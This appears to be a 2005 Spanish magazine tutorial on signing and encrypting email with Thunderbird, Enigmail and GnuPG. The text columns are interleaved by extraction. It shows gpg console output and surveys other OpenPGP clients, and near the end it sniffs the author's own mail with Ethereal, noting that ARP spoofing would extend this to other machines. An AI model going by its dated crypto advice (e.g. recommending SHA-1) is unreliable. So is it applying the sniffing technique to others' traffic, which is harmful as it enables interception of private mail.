hacer (aunque en el artículo haré el nombre del servidor. Podemos datos en la ficha Outgoing Server referencia a los textos de Thunderbird seleccionar si usar una bandeja de en inglés). Los enlaces para descarga entrada global o no (a mí particu- (SMTP). No voy a entrar en los detalles son: larmente no me gusta). de la configuración de la cuenta de correo ni de detalles avanzados como Para sistemas Linux: http:// User Names: Debemos indicar el uso de servidores salientes múltiples download.mozilla.org/?product=thund e independientes entre cuentas, pues erbird-1.0.2&os=linux&lang=en-US el nombre de usuario para correo no es el objeto de este texto aprender entrante y correo saliente. a usar Thunderbird. Para sistemas Windows: http:// Sí señalaré, no obstante, que es impor- Imagen 1 download.mozilla.org/?product=thund tante señalar las opciones de autenticación erbird-1.0.2&os=win&lang=en-US y cifrado correctas. En el caso de Gmail, por ejemplo, habría que indicar en el Para sistemas Mac OS X: http://down servidor entrante POP la opción "Use secure load.mozilla.org/?product=thunderbird- connection (SSL)", así como TLS en el 1.0.2&os=osx&lang=en-US servidor saliente SMTP. La primera vez que iniciéis Thunderbird Por último nos queda instalar la "joya veréis el asistente que os ayudará a de la corona": enigmail. Esta pequeña añadir vuestra cuenta de correo. maravilla programada en XUL (el Cualquier cuenta con soporte POP/SMTP lenguaje en el que Mozilla vive y respira, (o en su defecto IMAP) sirve, y si no del inglés "XML-based User Interface tenéis ninguna, podéis usar una cuenta Imagen 2 d e G m a i l m e d i a n t e P O P S / S M T P. Si no tenéis tampoco cuenta de Gmail, pasaos por este hilo del foro: http://www.hackxcrack.com/php BB2/viewtopic.php?t=17929 Y seguro que alguien os mandará una invitación encantados. Aprovecho para recomendar encarecidamente (como hago en cada artículo :-P) que visitéis el foro: http://www.hackxcrack.com/php BB2/ L o s p a s o s p a ra a ñ a d i r l a c u e n t a mediante el asistente son pocos y muy 13
  • 13. http://totalred.blogspot.comLanguage") nos va a permitir trabajar el que el set de caracteres sea UTF8). configurada como válida o no. "Alwayscon Mozilla Thunderbird y GnuPG imple- La opción de recordar el passphrase del confirm before sending" es auto-mentado de forma transparente al usuario por un tiempo (en minutos) explicativa (pide confirmación antes deusuario. Lo primero es bajar los ficheros establecido puede resultar útil cuando enviar nada) y es útil cuando tenemos .xpi al disco duro para poder instalarlos se deseen mandar muchos correos en el dedo un poco despistado :-P. La opcióndesde Mozilla Thunderbird (mucho ojo, un corto período de tiempo... pero es "Rewrap signed HTML before sending"s i u s á i s F i r e f ox , c o n n o i n t e n t a r una opción que yo no recomiendo, por reformatea el mail para evitar firmasinstalarlos en el mismo... no obstante motivos de seguridad. Así mismo, la no válidas en usuarios que utilicen correo.xpi es la extensión de las extensiones opción de eliminar la necesidad de HTML (cosa que por otro lado des-de Firefox igualmente). Los enlaces para passphrase permite trabajar con claves aconsejo profundamente... con lo bonitodescarga son: sin passphrase o cuyos usuarios utilicen que es el texto plano ASCII de toda la algún gestor de passphrases como gpg- vida :-D), pero puede causar que elPara sistemas Linux: http://www.mo agent. Por último, en la casilla de correo resulte ligeramente modificado. servidores de claves podemos especificar "Allow empty subject" hace que enigmailzilla-enigmail.org/downloads/enigmail- cuáles deseamos usar. y Thunderbird no lancen el aviso de0.91.0-tb-linux.xpi asunto vacío que por defecto muestran. Lamentablemente enigmail ya no Mediante la opción "Allow flowed text"Para sistemas Windows: http:// soporta PGP, las razones podéis podemos activar el soporte del textowww.mozilla-enigma il.org/down leerlas en el siguiente enlace: plano fluido que se detalla en el RFCloads/enigmail-0.91.0-tb-win32.xpi http://enigmail.mozdev.org/help #2646 (ftp://ftp.rfc-editor.org/in-notes .html#win /rfc2646.txt).Para sistemas Mac OS X: http://www.mo El equipo de enigmail afirma quezilla-enigmail.org/downloads/enigmail- la PGP Corp. no ofrece versiones La opción de "Allow flowed text"0.91.0-tb-darwin.xpi de línea de comandos a un precio puede ser útil para usuarios de razonable, así como tampoco unos determinados MUAs que tenganUna vez descargado, debemos instalarlo sistemas de salida estandarizados. problemas al tratar caracteresdesde Thunderbird. Para ello iremos al como saltos de línea. Enmenú Tools > Extensions y selecciona- Sending: La opción "Encrypt to self" Thunderbird no tendréis ningúnremos la opción Install, indicando la hace que al enviar cualquier correo, tipo de problemas de este tipo,ruta al fichero .xpi descargado. nuestra propia clave (la que se encuentre por lo que no es necesario que la seleccionada en cada cuenta) sea activéis. seleccionada como uno de los destinatarios, lo cual es muy útil, pues de otra forma tras enviar un correo y Key Selection: En esta pestaña nosEs el momento de meternos en harina ser éste almacenado en la carpeta de encontramos con dos apartados. En elcon la configuración de enigmail. Para enviados, no podríamos leerlo. La opción primero de ellos, "Normal Key Selection",ello, vamos al menú de preferencias "Always trust user ID" hace que se podemos seleccionar el comportamiento(imagen 1) ignore el sistema de confianza de GPG ante el envío de correo con respecto a(Enigmail > Preferences) y echamos un y se permita cifrar a cualquier clave, las claves: la primera opción es novistazo a sus distintas pestañas: independientemente de que ésta esté mostrar nunca la pantalla de selección(imagen 2) Imagen 3 Basic: En este apartado podemosconfigurar las opciones generales deenigmail. El apartado "GnuPG executablepath" nos permite definir la ruta alejecutable GPG, cosa que puede resultarútil si tenemos instalada más de unaversión (yo, por ejemplo, tengo instaladala 1.4.0-3 en /usr/bin/gpg y la 1.9.15-6 de desarrollo en /usr/bin/gpg2) yqueremos especificar cuál usar ennuestro correo. En Windows debería serC:ruta_a_gpggpg.exe. Los parámetrosadicionales nos permiten especificaralguna opción que no esté incluida pordefecto pero que por algún motivo anosotros nos interese que sí lo esté(enigmail ya incluye en este apartado 14
  • 14. http://totalred.blogspot.com de claves, de forma que al enviar un cual es altamente conveniente (si recomendable que sea desactivada si correo a un destinatario que no se nuestro interlocutor considera que la usas una o más cuentas IMAP, pues encuentre en ninguna de las claves que conversación es lo suficientemente permite a enigmail tratar correctamente poseemos, enigmail lo enviará sin cifrar importante para estar cifrada, no vamos los ficheros adjuntos como armadura sin preguntar; la segunda opción es que a contradecirle... :-D). Mediante "Do de texto, evitando el problema que la pantalla de selección de claves se not add Enigmail comment in OpenPGP genera Thunderbird al cargar los muestre cuando sea necesario (el signature" evitamos que enigmail incluya mensajes según son requeridos por el ejemplo dado para la opción anterior); en el comentario una frase informando cliente. Existe una opción adicional (justo y la tercera es mostrarla siempre. de su uso. Para todos aquellos que antes de la última) si usáis enigmail en Recomiendo usar la segunda (mostrarla acostumbran a adjuntar firmas en su Mozilla Suite llamada "Hide SMIME cuando sea necesario), si bien yo la correo electrónico (yo, por ejemplo) o button/menus" que elimina de la interfaz muestro siempre. La segunda parte de leen correos con firmas, la opción "Treat los elementos referidos al estándar esta pestaña configura el compor- -- as signature separator" es S/MIME. tamiento particular de enigmail según importante, pues el estándar openPGP el destinatario del mensaje: desactivar establece que la cadena -- se S/MIME (Secure/Multipurpose el comportamiento selectivo según des- transforme en - - a la hora de firmar, Internet Mail Extensions) es un tinatario; aplicar las reglas definidas de forma que si no activamos esta opción estándar que propone varias por el usuario en el editor de reglas no veremos correctamente las firmas extensiones de seguridad para predestinatario (imagen 3), de forma (texto gris claro). La opción "Use gpg- correo electrónico, basado en el que si no existen reglas no se haga agent for passphrase handling" es útil sistema PKI (Public Key nada; o bien activar las reglas siempre, para los que no quieran tener que teclear Infrastructure) y muy parecido a de forma que si no existe regla alguna contraseñas (cosa, por otro lado, poco OpenPGP en su concepción. Actual- predefinida para el destinatario, se cree recomendable y muy insegura) y debe mente la versión más reciente es una nueva. Mi recomendación es activar ser usada en conjunción con la opción la 3, que como siempre, podemos la segunda opción y, si lo deseamos, "No passphrase for user" del menú Basic conocer gracias a los correspon- definir unas determinadas reglas para de configuración. La siguiente opción dientes RFCs: un destinatario concreto. permite modificar la forma en que enigmail trata las cadenas de direcciones S/MIME Version 3 Message de correo electrónico, eliminando los Specification (RFC #2633): ftp: PGP/MIME: En esta pestaña podemos símbolos <> para mantener / / f t p . r f c - e d i t o r. o r g / i n - n o t e s seleccionar si deseamos usar el estándar compatibilidad con claves generadas /rfc2633.txt PGP/MIME (RFC #3156, ftp://ftp.rfc- con Hushmail. La opción "Load MIME e d i t o r. o r g / i n - n o t e s / r f c 3 1 5 6 . t x t ) , parts on demand (IMAP folders)" es S/MIME Version 3 Certificate simplemente permitir su uso, o por el c o n t ra r i o n o p e r m i t i r l o. A d e m á s , Imagen 4 podemos seleccionar el algoritmo de hash que deseamos usar, entre MD5, SHA-1 y RIPEMD-160. Si recordáis el artículo anterior, hasta hace poco SHA- 1 era el único que no había sido comprometido, aunque ahora mismo los tres han tenido ataques exitosos a su algoritmia. No obstante, sigo recomendando SHA-1 mientras implementan nuevos y más potentes algoritmos en OpenPGP, además de ser el único que funciona con el 100% de las claves. Respecto al uso de PGP/MIME, lo mejor es permitir su uso y luego usarlo o no según las circunstancias. Advanced: En este menú se en- cuentran las opciones menos comunes de enigmail. "Encrypt if replying to encrypting message" hace que enigmail, por defecto, seleccione la opción de cifrar mensaje cuando estemos respondiendo a un mensaje cifrado, lo 15
  • 15. http://totalred.blogspot.com Handling (RFC #2632): ftp:// Initializing Enigmail service ... f t p . r f c - e d i t o r. o r g / i n - n o t e s EnigmailAgentPath=/usr/bin/gpg /rfc2632.txt enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --version gpg (GnuPG) 1.4.0 Copyright (C) 2004 Free Software Foundation, Inc. ¿Es mejor o peor que OpenPGP? T h i s p r o g r a m c o m e s w i t h A B S O L U T E LY N O W A R R A N T Y. Va en gustos. Lo que sí es a todas This is free software, and you are welcome to redistribute it luces es algo más complejo en su under certain conditions. See the file COPYING for details. estructura (pues aparte de los clásicos algoritmos de cifrado Home: ~/.gnupg Supported algorithms: simétricos, asimétricos y de hash, Pubkey: RSA, RSA-E, RSA-S, ELG-E, DSA tenemos que tratar con otros Cipher: 3DES, CAST5, BLOWFISH, AES, AES192, AES256, TWOFISH elementos como los certificados Hash: MD5, SHA1, RIPEMD160, SHA256, SHA384, SHA512 de seguridad X.509), y algo anti- Compression: Uncompressed, ZIP, ZLIB, BZIP2 cuado en cuanto a los algoritmosListado 1 usados y siempre comparándolo con OpenPGP (S/MIME utiliza 3DES como algoritmo de cifrado enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --status-fd 2 --comment simétrico). Using GnuPG with Thunderbird - http://enigmail.mozdev.org --clearsign -u 0xAF95 93E1 --passphrase-fd 0 --no-use-agent Debugging: En este menú seListado 2 configuran las opciones de corrección de errores de Thunderbird. En el campo enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --status-fd 2 --comment "Log directory" podemos configurar una Using GnuPG with Thunderbird - http://enigmail.mozdev.org --clearsign -u 0xAF95 ruta para almacenar los logs de enigmail 93E1 --passphrase-fd 0 --no-use-agent (en caso de no especificar ninguna ruta, gpg: skipped "0xAF9593E1": bad passphrase gpg: [stdin]: clearsign failed: bad passphrase no se almacenarán logs). En el campo e n i g m a i l . j s : E n i g m a i l . e n c r y p t M e s s a g e E n d : E r r o r i n c o m m a n d e xe c u t i o n "Test email" podremos introducir un enigmail.js: Enigmail.encryptMessage: Error in command execution email para probar la introducción del passphrase, la validez de la clave...Listado 3 Ya hemos configurado las opciones generales de enigmail, pero aún nos queda por configurarlo particularmente para la cuenta creada. Para ello iremos a la configuración de la cuenta a través del menú Edit > Account Settings y seleccionamos el menú "OpenPGP Security" (imagen 4). Ahora debemos activar el soporte OpenPGP para esta cuenta, y seleccionar el método de elección de clave: en base al correoImagen 5 electrónico o una clave determinada (recomiendo esta segunda opción). Además debemos configurar el comportamiento respecto a firma y cifrado de enigmail con esa cuenta, para lo cual recomiendo seleccionar firmar siempre todos los mensajes (tanto cifrados como no cifrados) pero no activar el cifrado por defecto. Las dos últimas opciones permiten añadir sendosImagen 6 campos a la cabecera del correo electrónico indicando el KeyID de la Good signature from <emisor> <correo_del_emisor> clave usada y una URL de donde bajarla Key ID: <KeyID_del_emisor> / Signed on: <fecha_de_firma> respectivamente.Listado 4 16
  • 16. http://totalred.blogspot.com (en caso de no ver la información enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --status-fd 2 -d completa, pulsad sobre el icono "+" gpg: Signature made Mon May 2 01:50:47 2005 CEST using RSA key ID FB5671E1 junto a la cabecera). Si nada ha fallado, gpg: Good signature from "Noticias Hispasec - 2004 <noticias@hispasec.com>" nos mostrará un mensaje similar a este: (listado 4) Listado 5 Podemos pulsar en el icono del bolígrafo para obtener información extendida (imagen 6), así como consultar la consola de enigmail para ver qué comando se ha ejecutado y la salida del mismo: (listado 5) Todo esto es lo que ocurrirá en la mayoría de las ocasiones, cuando no exista ningún problema con la firma. Pero, como bien sabemos todos, siempre hay algún problema... :-P Imagen 7 Es bastante común que únicamente una parte del correo haya sido firmado. Esta situación se da, por ejemplo, cuando nuestro interlocutor está respondiendo a un correo firmado (con lo que la parte respondida, y siempre y cuando no haya sido modificada, estará firmada), cuando se adjuntan ficheros que no han sido Imagen 8 firmados, o cuando intencionadamente se firma una parte discreta de mensaje. enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --status-fd 2 -d gpg: Signature made Sun Mar 27 14:14:54 2005 CEST using RSA key ID <KeyID> gpg: BAD signature from "Popolous <correo>" Veamos un ejemplo (imagen7). Este e n i g m a i l . j s : E n i g m a i l . d e c r y p t M e s s a g e E n d : E r r o r i n c o m m a n d e xe c u t i o n correo fue enviado por mi querido amigo Popolous a la lista de correo de gestión Listado 6 de textos de la revista, y aquí vemos un ejemplo de un mensaje parcialmente firmado: enigmail nos advierte de que Hay un elemento que quiero comentar Bien, tras todo este rollo teórico y parte del mensaje ha sido firmado, de antes de empezar a trabajar con configuraciones varias, ya podemos que los adjuntos no han sido firmados, enigmail: la consola de debugging. Esta meternos con la parte práctica... que al y nos especifica con un mensaje consola puede ser accedida mediante el fin y al cabo siempre es la más llamativo en el cuerpo del correo qué menú Enigmail > Debugging Enigmail > interesante. Vamos a empezar apren- parte es la firmada. View Console. En ella, al arrancar diendo a analizar los correos firmados Thunderbird, solamente se reflejará la y/o cifrados que recibimos en nuestro Todas las partes que oculto de información de arranque:(listado 1) buzón... las imágenes son para proteger la privacidad de alguien. Mi Ahora veamos qué aparece en la consola Como ejemplo, voy a tomar el correo KeyID ha sido publicada varias cuando envío un correo firmado... del boletín una-al-día de la gente de veces en anteriores artículos, (listado 2) Hispasec (http://www.hispasec.com/, así como direcciones o KeyID desde aquí mando un saludo para ellos) de listas públicas (por ejemplo, Ahora, si introduzco el passphrase de (imagen 5). una-al-día). Lo que no voy a forma incorrecta...(listado 3) hacer es publicar ni direcciones Como vemos, nada más seleccionar el ni KeyID privadas de usuarios Como vemos la consola nos puede correo en la ventana principal de particulares. ayudar mucho a la hora de controlar los Thunderbird (o bien al abrir el mensaje errores producidos, así como para en una ventana independiente) veremos Ahora vamos a ver otro ejemplo en el conocer mejor GnuPG (a través del una sección añadida por enigmail con que la firma está directamente mal análisis de los comandos que ejecuta fondo verde en la que se nos proporciona (también de Popolous... lo siento, hoy enigmail). información sobre el estado de la firma te ha tocado xD) (imagen 8). 17
  • 17. http://totalred.blogspot.com Como vemos, enigmail nos muestra dos avisos visuales llamativos para alertarnos de la situación: en primer lugar el fondo de la cabecera añadida cambia a rojo, con su correspondienteImagen 9 mensaje de error; y además el icono enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --status-fd 2 -d --passph del bolígrafo ahora muestra una señal rase-fd 0 --no-use-agent de error. Pulsando en dicho icono, o gpg: encrypted with 4096-bit RSA key, ID 0260BBB0, created 2003-07-21 bien acudiendo a nuestra amada consola "Death Master <correo>" de enigmail (;-P) podremos obtener más detalles del error. Yo consultaré la enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --status-fd 2 --verify consola:(listado 6) gpg: Signature made Mon Apr 25 23:28:02 2005 CEST using DSA key ID <KeyID> gpg: Good signature from "AcidBorg <correo>" Evidentemente, no siempre una alertaListado 7 de una firma errónea supone que alguien haya estado enredando en tus correos. Pero cuando todo marcha bien, sí es síntoma inequívoco de que nada malo ha pasado.Imagen 10 Ahora veamos qué pasa cuando recibimos un correo cifrado (imagen 9), por ejemplo uno que me mandó recientemente mi amigo AcidBorg (sí, hay gente que se manda el correo cifrado como costumbre, ¿qué pasa? xD). En primer lugar -evidentemente- nos pedirá el passphrase de nuestra clave como mínimo una vez (pueden ser más, si hay archivos adjuntos que también han sido cifrados, con lo que nos la pedirá tantas veces como archivos haya másImagen 11 una -el correo-). En caso de introducirla mal (o no introducirla), no veremos nada y enigmail nos devolverá como error "bad passphrase" (cuyo ejemplo ya puse antes, hablando de la consola). Una vez descifrado el correo, veremos la cabecera con fondo verde con los mensajes correspondientes a la verificación de la firma y además el delImagen 12 descifrado del correo. Al icono de firma correcta hay que añadir ahora uno de descifrado correcto (representado por una llave), si bien ambos proporcionan la misma información. La salida de la consola ahora será un poco más larga, pues debe contener la información del proceso de descifrado y de verificación de la firma:(listado 7) Es posible que en algún momento recibamos un correo firmado por alguien cuya clave no poseemos (si estás suscrito a alguna lista de correo, es muy común). En ese caso, enigmail nosImagen 13 avisará con un mensaje de error con 18
  • 18. http://totalred.blogspot.com (imagen 12) la opción "Sign Message" (y si habéis seguido mis recomen daciones sobre la configuración de enigmail, ni siquiera eso). Al dar la orden de envío a Thunderbird, se nos pedirá el passphrase y tras introducirlo correctamente, el correo se firmará y enviará automáticamente. Para enviar un correo cifrado hay que Imagen 14 seleccionar la opción "Encrypt Message" (es recomendable firmar también los mensajes cifrados). Al dar la orden de envío, pueden pasar dos cosas: que el correo se mande automáticamente (o bien os pida el passphrase, en caso de haber seleccionado también la opción de firma), o bien que aparezca la ventana de selección de claves (imagen 13). Imagen 15 ¿En qué condiciones aparece esa ventana? Pues depende de la configuración que hayáis establecido en enigmail. Si habéis seguido mi recomendación, únicamente aparecerá cuando se esté enviando un correo a un destinatario que no figura en ninguna de las claves de nuestro anillo. Si habéis configurado enigmail c o m o yo, a p a r e c e r á s i e m p r e x D. En esta ventana simplemente debemos seleccionar el o los destinatarios a los que deseamos cifrar el mensaje y pulsar aceptar. Es posible, así mismo, indicar en este paso que el correo sea mandado sin cifrar (en la casilla "Send mail unencrypted"); refrescar la información del anillo de claves; descargar nuevas versiones de las claves desde un servidor de claves; y editar las reglas de pre- destinatario. Imagen 16 Existen así mismo un par de opciones fondo beige en su cabecera y nos instará para descargar dicha clave de un adicionales en el menú OpenPGP de a pulsar en el icono del bolígrafo para servidor de claves (imagen 11). Si le composición de correo: la primera nos obtener más detalles (imagen 10). He otorgamos permiso, nos preguntará qué permite activar el uso de PGP/MIME, y tomado como ejemplo un correo servidor deseamos usar de entre los la segunda ignorar las reglas pre- mandado a la lista de correo del Hacklab que están indicados en las opciones de destinatario para el mensaje actual. Vallekas (otro saludo desde aquí para enigmail, tras lo cual se conectará al toda la gente del Kaslab, de quienes mismo y descargará la clave a nuestro podéis encontrar más información en anillo directamente. http://vallekaslab.ath.cx/) por alguien cuya clave no se encontraba en mi anillo. Enviar correos firmados y/o cifrados es mucho más sencillo, gracias a que enigmail Existe en enigmail una opción Al pulsar en el icono del bolígrafo se encarga de la parte dura. ;-) relativamente reciente (desde la versión enigmail nos avisará de que no ha podido 0.89 del 14 de Noviembre de 2004) verificar la firma por no encontrar la La firma es totalmente transparente. consistente en toda una interfaz gráfica clave pública del firmante en nuestro Simplemente hay que seleccionar en el para GnuPG incrustada en enigmail y el anillo, así como nos solicitará permiso menú OpenPGP de la barra de tareas gestor de correo que lo use (sea 19
  • 19. http://totalred.blogspot.com mejores clientes de correo que existen, no a todo el mundo tiene porqué gustarle. Además, para los usuarios de Windows supone no poder usar PGP y depender de GnuPG, lo cual no a todo el mundo le gusta (si bien es cierto que con el administrador de claves de enigmail ya no es tan problemático...). Para todas esas personas, ahora vamos a conocer otros clientes de correo que permiten manejar OpenPGP con gran facilidad. Primero vamos a hablar de los clientes para sistemas Unix-like (como GNU/Linux) y luego para sistemas Microsoft Windows. Cada cual que pruebe y elija el que más le guste. :-) Kmail (*NIX): Se trata del cliente de correo integrado en el gestor de ventanas KDE. Implementa OpenPGP con GnuPG mediante GPGME (GnuPG Made Easy). Su configuración (imagen 16) y uso es muy similar a todas las que ya hemos visto, por lo que no creo que haya que entrar en detalles. Imagen 17 E n e n t o r n o s U n i x- l i k e l o s entornos gráficos tienen dos partes fundamentales: el servidor gráfico y el gestor de ventanas. El servidor gráfico es el "corazón" del sistema gráfico, y existen varias imple- mentaciones (Xfree86, Xorg...), mientras que el gestor de ventanas es el "rostro" del mismo, la parte visible al usuario. Gestores de ventanas existen muchos: KDE (K Desktop Environment) y GNOME (GNU Network Object Model Environment) son los Imagen 18 principales y más utilizados, pero existen muchos otros:Thunderbird o Mozilla) (imagen 14). Mediante esta interfaz podemos realizar Fluxbox, WindowMaker, IceWM,Como veréis, tiene un gran parecido todas las opciones básicas de GnuPG de Blackbox, XFCE, Enligh-con otras GUIs (imagen 15). una forma similar a cualquier otra GUI: tenment... trabajo con claves, acceso al servidor dePo d e m o s a c c e d e r a e s t a i n t e r f a z claves, generación de pares de claves... Entre los usuarios de KDEdenominada "OpenPGP Key Manager" no dejéis de echarle un vistazo. ;-) (como yo) y los de Gnome (esosmediante el menú Enigmail > OpenPGP herejes ;-P) siempre ha existidoKey Management. Esta opción resulta un "sano pique"... aprovechoespecialmente útil a los usuarios de para mandar desde aquí unGnuPG bajo Windows, que de esta forma saludo para mis amigospueden evitarse el uso de la línea de Aunque en mi opinión Mozilla Gnomeros, que por cierto soncomandos si les resulta incómoda. Thunderbird es, hoy por hoy, uno de los muchos. :-D 20
  • 20. http://totalred.blogspot.com a buen número de gusanos de correo. ¿Queréis un consejo? No uséis Outlook, hay muchas otras mejores opciones para sistemas Windows, y no necesariamente Software Libre. Eudora (Windows): Uno de los más Imagen 19 veteranos clientes de correo para Windows. Al igual que ocurría con Outlook Express, PGP nos ofrece durante su instalación un plugin para integrar soporte para PGP en Eudora. Personalmente, lo probé y no me terminó de convencer, pero al igual que ocurre con Evolution, tiene grandes incondicionales. Es importante tener en cuenta que este software es de pago, por lo que deberéis abonar la correspondiente licencia para poder instalarlo (o probar una versión de evaluación). The Bat! (Windows): Este cliente de correo empieza a ser cada vez más conocido, y es -en mi opinión, como Imagen 20 siempre- una de las mejores opciones Evolution (*NIX, Windows): Ahora es gráfico) que soporta de forma nativa dentro del software no libre, si no la el turno del cliente integrado en el gestor soporte para GnuPG (imagen 18). Si mejor. Implementa compatibilidad con de ventanas Gnome (imagen 17). La sylpheed es un cliente para frikis, éste OpenPGP a través de diversas versiones implementación OpenPGP es e s p a ra m e g a - f r i k i s d e l i b r o. x D de PGP y GnuPG, así una implementación directamente a través de GnuPG, y propia empotrada en el software que aunque no implementa tantas opciones Outlook Express (Windows): Se trata permite usar cifrado de correo OpenPGP como Kmail o enigmail, son más que del cliente por defecto en los sistemas sin necesidad de instalar software s u f i c i e n t e s c o m o p a ra m a n e j a r s e Windows, del mismo desarrollador adicional (imagen 19). Esa implemen- cómodamente con él. Además, existe (Microsoft), y no creo que haya mucha tación propia posee la mayoría de las desde hace relativamente poco una gente por aquí que no lo conozca. El características de PGP y GnuPG, así como implementación para sistemas Windows, instalador de PGP nos ofrece durante el interfaz gráfica propia (imagen 20). por lo que también los windowseros proceso de instalación la opción de podréis disfrutar de este cliente (mucha instalar un plugin para Outlook Express Todos estos clientes de correo se gente dice que es de los mejores... fue que permite integrar soporte para el configuran y usan de una manera muy uno de los primeros que probé y mismo. similar (excepto Mutt, que es un "caso personalmente no me gustó). aparte"), así que no creo que nadie Esto que voy a decir ahora es tenga ningún problema con ellos. Y si una opinión personal, y como alguno de vosotros lo tiene, sólo tenéis Sylpheed (*NIX, Windows): Este tal es gratis: Outlook Express que pasaros por el foro y preguntar, cliente gráfico implementa (y Outlook) son seguramente estoy seguro que alguien os ayudará compatibilidad con GnuPG a través de los clientes de correo más encantado (hasta con Mutt, que me sé los plugins sylpheed-claws-pgpinline- usados, como suele ocurrir con de alguno que lo usa :-P). plugin y sylpheed-claws-pgpmime. No todo software de la multina- es un cliente muy conocido, pero es cional Microsoft. Así mismo -y bastante usado entre los más frikis de aún a riesgo de parecer un Linux. talibán del software libre- os diré que es uno de los peores clientes de correo: sus fallos Mutt (*NIX): Se trata de un cliente Es bastante probable que en un de seguridad son legendarios y para consola (osea, que no tiene modo momento dado necesitemos una manera han "ayudado" a hacer famosos 21
  • 21. http://totalred.blogspot.com es a través de Thunderbird). Lo primero, vamos a escribir un texto (yo usaré mi queridísimo Vim :-P) (listado 8). Ahora lo cifraremos con GnuPG... (listado 9). Con lo que hemos obtenido un fichero texto.txt.asc que contiene:(listado 10). Copiamos el texto, lo pegamos en la ventana de composición de mensaje del webmail (imagen 21), y lo enviamos. Ahora comprobamos que ha llegado, se descifra y la firma se verifica Imagen 21 correctamente (imagen 22). Consultando la consola de enigmail vemos que efectivamente así es: (listado 10). Mediante este método podemos transmitir mensajes cifrados por cualquier medio que permita el envío de texto, y no únicamente limitarnos al correo electrónico... pensad en otros ejemplos de comunicación con texto: IRC, mensajería instantánea... pero también existen formas de cifrar automáticamente en estos medios. Ya hablaremos de ello a Imagen 22 su debido tiempo... ;-) Hola, esto es una prueba... Wa d a l b e r t i a ü b e r a l l e s !Listado 8 ¿Realmente es tan necesario el uso de c r i p t o g ra f í a ? ¿ S o n t a n i n s e g u r o smaster@blingdenstone:~$ gpg --armor --recipient 0xaf9593e1 --sign --encrypt-files texto.txt nuestros correos electrónicos? En realidad esto es como todo: tiene tantaYou need a passphrase to unlock the secret key for importancia como tú quieras darle. Nouser: "Death Master <correo_electrónico>"4096-bit RSA key, ID AF9593E1, created 2003-07-21 veo ningún problema en mandarle a un amigo un correo sin cifrar en el que lemaster@blingdenstone:~$ dices que habéis quedado a las 22.00-----END PGP MESSAGE----- en la estación de metro; pero en cambio me preocupa sobremanera cómo enviarListado 9 a ese mismo amigo las claves de acceso a la base de datos del foro, y quien dicede utilizar OpenPGP "universal". Por Sea cual sea el caso, es útil tener a claves de acceso dice número deejemplo, podemos estar usando un mano una forma general de usar cuentas, documentos importantes...cliente que no tenga soporte para OpenPGP para correo electrónico. ParaOpenPGP, o que lo tenga mediante ello vamos a usar las capacidades de Por eso, vamos a ver un ejemplo de locomplicados plugins o scripts; o puede cifrado de texto plano de GnuPG, KGPG fácil que resulta espiar el correoque estemos usando un cliente webmail y PGP. Para este ejemplo voy a mandar electrónico. Para ello voy a usar ely hayamos recibido un correo cifrado un correo cifrado desde mi cuenta de magnífico sniffer Etherealy/o firmado que queramos descifrar y/o gmail mediante la interfaz webmail (no ( h t t p : / / w w w. e t h e r e a l . c o m / ) p a r averificar. suelo utilizar gmail, y cuando lo hago capturar el tráfico de diversos correos 22
  • 22. http://totalred.blogspot.com que voy a enviarme a mí mismo. En -----BEGIN PGP MESSAGE----- este caso voy a capturar el tráfico desde Version: GnuPG v1.4.0 (GNU/Linux) el mismo ordenador que lo genera, pero hQIMAyaE+coCYLuwARAAiszhc4nwZEwMWoGRkLbVgxkQPeKC1mw6maoZupPifL0V sería trivial realizarlo desde cualquier {...} otro ordenador de la misma red (con técnicas como ARP Spoofing, por Listado 10 ejemplo) o cualquier ordenador conectado a una red por la que pase el enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --status-fd 2 -d --passph correo electrónico antes de llegar a su rase-fd 0 --no-use-agent destino. gpg: encrypted with 4096-bit RSA key, ID 0260BBB0, created 2003-07-21 "Death Master <correo_electrónico>" gpg: Signature made Sat May 7 15:53:05 2005 CEST using RSA key ID AF9593E1 ¡¡IMPORTANTE!! Antes de nada, gpg: Good signature from "Death Master <correo_electrónico>" debe quedar MUY clara una cosa: yo voy a utilizar cuentas {...} de correo que son de mi propiedad por lo que no hay enigmail> /usr/bin/gpg --charset utf8 --batch --no-tty --status-fd 2 --with-colo ningún problema. Pero en caso ns --list-keys 6F6F3938AF9593E1 de que no fueran mías sí lo habría, pues espiar el correo Listado 11 electrónico es un DELITO MUY GRAVE. Cada cual es responsable de sus propios actos. Para nuestro primer ejemplo voy a mandar un correo electrónico sin cifrar desde una cuenta con correo saliente SMTP hasta una cuenta con correo entrante POPS (con SSL). El camino que seguirá el correo será: Origen -> Access Point -> Router -> {Internet} -> Servidor SMTP -> {Internet} -> Servidor POPS -> {Internet} -> Router -> Access Point - > Destino Imagen 23 E x p l i c a r é b r e ve m e n t e l a l e ye n d a utilizada: en verde está marcado el trayecto durante el cual el correo es completamente legible para cualquiera interesado en él; en amarillo está marcado el trayecto durante el cual no sabemos el grado de seguridad del correo (aunque posiblemente sea bajo o nulo); y en rojo está marcado el trayecto durante el cual el correo es ilegible para cualquiera (excepto para nosotros en el destino) y es por tanto seguro. Al usar correo SMTP sin cifrar, el correo hasta llegar al servidor viaja como una postal, completamente visible. Desde el servidor SMTP hasta el servidor POPS Imagen 24 no conocemos el grado de seguridad 23
  • 23. http://totalred.blogspot.com Ahora probaremos a mandar un correo electrónico cifrado con PGP desde una cuenta con correo saliente SMTP hasta una cuenta con correo entrante SMTP (ambas sin SSL). El esquema es el siguiente: Origen -> Access Point -> Router -> {Internet} -> Servidor SMTP -> {Internet} -> Servidor POP -> {Internet} -> Router -> Access Point - > Destino Capturando con Ethereal (imagen 25) podemos observar que únicamente podemos cotillear las cabeceras del correo, los comandos del servidor y poco más, pero que el cuerpo del mensaje aparece cifrado en forma de armadura Imagen 25 PGP, y de ahí no podremos sacar nada.que mantienen las conexiones entre los Ahora probaremos a enviar un correo Como veréis, hemos eliminado hasta lanodos, pero muy posiblemente sea nulo. cifrado electrónico sin cifrar desde una zona muerta que cubría la conexiónDesde el servidor POPS hasta nosotros, cuenta que usa SMTPS hasta una cuenta entre los servidores de correo y quela conexión viaja cifrada con SSL por lo con correo entrante POPS (ambos con h a s t a a h o ra n o h a b í a m o s p o d i d oque podemos considerar que el correo SSL). El esquema de 